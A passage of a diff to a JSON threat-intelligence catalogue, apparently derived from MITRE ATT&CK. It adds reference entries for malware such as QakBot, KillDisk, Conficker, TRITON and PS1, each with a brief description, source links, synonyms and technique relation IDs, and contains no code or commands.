+ "QBot"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "edc5e045-5401-42bb-ad92-52b5b2ee0de9",
+ "value": "QakBot - S0650"
+ },
{
"description": "[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)",
"meta": {
@@ -19068,6 +21097,133 @@
"uuid": "22addc7b-b39f-483d-979a-1b35147da5de",
"value": "WinMM - S0059"
},
+ {
+ "description": "[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into stand-alone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)",
+ "meta": {
+ "external_id": "S0607",
+ "mitre_platforms": [
+ "Linux",
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0607",
+ "https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/",
+ "http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/",
+ "https://www.trendmicro.com/en_us/research/18/f/new-killdisk-variant-hits-latin-american-financial-organizations-again.html",
+ "https://www.trendmicro.com/en_us/research/18/a/new-killdisk-variant-hits-financial-organizations-in-latin-america.html"
+ ],
+ "synonyms": [
+ "KillDisk",
+ "Win32/KillDisk.NBI",
+ "Win32/KillDisk.NBH",
+ "Win32/KillDisk.NBD",
+ "Win32/KillDisk.NBC",
+ "Win32/KillDisk.NBB"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e221eb77-1502-4129-af1d-fe1ad55e7ec6",
+ "value": "KillDisk - S0607"
+ },
{
"description": "[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)",
"meta": {
@@ -19164,6 +21320,120 @@
"uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d",
"value": "pngdowner - S0067"
},
+ {
+ "description": "[Conficker](https://attack.mitre.org/software/S0608) is a computer worm first detected in October 2008 that targeted Microsoft Windows using the MS08-067 Windows vulnerability to spread.(Citation: SANS Conficker) In 2016, a variant of [Conficker](https://attack.mitre.org/software/S0608) made its way on computers and removable disk drives belonging to a nuclear power plant.(Citation: Conficker Nuclear Power Plant)",
+ "meta": {
+ "external_id": "S0608",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0608",
+ "https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm",
+ "https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml"
+ ],
+ "synonyms": [
+ "Conficker",
+ "Kido",
+ "Downadup"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "58eddbaf-7416-419a-ad7b-e65b9d4c3b55",
+ "value": "Conficker - S0608"
+ },
{
"description": "[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)",
"meta": {
@@ -19365,6 +21635,67 @@
"uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43",
"value": "BLACKCOFFEE - S0069"
},
+ {
+ "description": "[TRITON](https://attack.mitre.org/software/S0609) is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. [TRITON](https://attack.mitre.org/software/S0609) was deployed against at least one target in the Middle East. (Citation: FireEye TRITON 2017)(Citation: FireEye TRITON 2018)(Citation: Dragos TRISIS)(Citation: CISA HatMan)(Citation: FireEye TEMP.Veles 2018)",
+ "meta": {
+ "external_id": "S0609",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0609",
+ "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html",
+ "https://www.fireeye.com/blog/threat-research/2018/06/totally-tubular-treatise-on-TRITON-and-tristation.html",
+ "https://www.dragos.com/wp-content/uploads/TRISIS-01.pdf",
+ "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf",
+ "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html "
+ ],
+ "synonyms": [
+ "TRITON",
+ "HatMan",
+ "TRISIS"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "93ae2edf-a598-4d2d-acd7-bcae0c021923",
+ "value": "TRITON - S0609"
+ },
{
"description": "[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)",
"meta": {
@@ -20077,6 +22408,55 @@
"uuid": "e9e9bfe2-76f4-4870-a2a1-b7af89808613",
"value": "Linfo - S0211"
},
+ {
+ "description": "[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)",
+ "meta": {
+ "external_id": "S0613",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0613",
+ "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"
+ ],
+ "synonyms": [
+ "PS1",
+ "PS1 "
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "13183cdf-280b-46be-913a-5c6df47831e7",
+ "value": "PS1 - S0613"
+ },
{
"description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)",
"meta": {
@@ -20564,7 +22944,7 @@
"value": "HALFBAKED - S0151"
},
{
- "description": "[Crimson](https://attack.mitre.org/software/S0115) is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)",
+ "description": "[Crimson](https://attack.mitre.org/software/S0115) is a remote access Trojan that has been used by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2016.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)",
"meta": {
"external_id": "S0115",
"mitre_platforms": [
@@ -20572,7 +22952,8 @@
],
"refs": [
"https://attack.mitre.org/software/S0115",
- "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
+ "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf",
+ "https://securelist.com/transparent-tribe-part-1/98127/"
],
"synonyms": [
"Crimson",
@@ -20684,6 +23065,118 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6faf650d-bf31-4eb4-802d-1000cf38efaf",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c877e33f-1df6-40d6-b1e7-ce70f16f4979",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
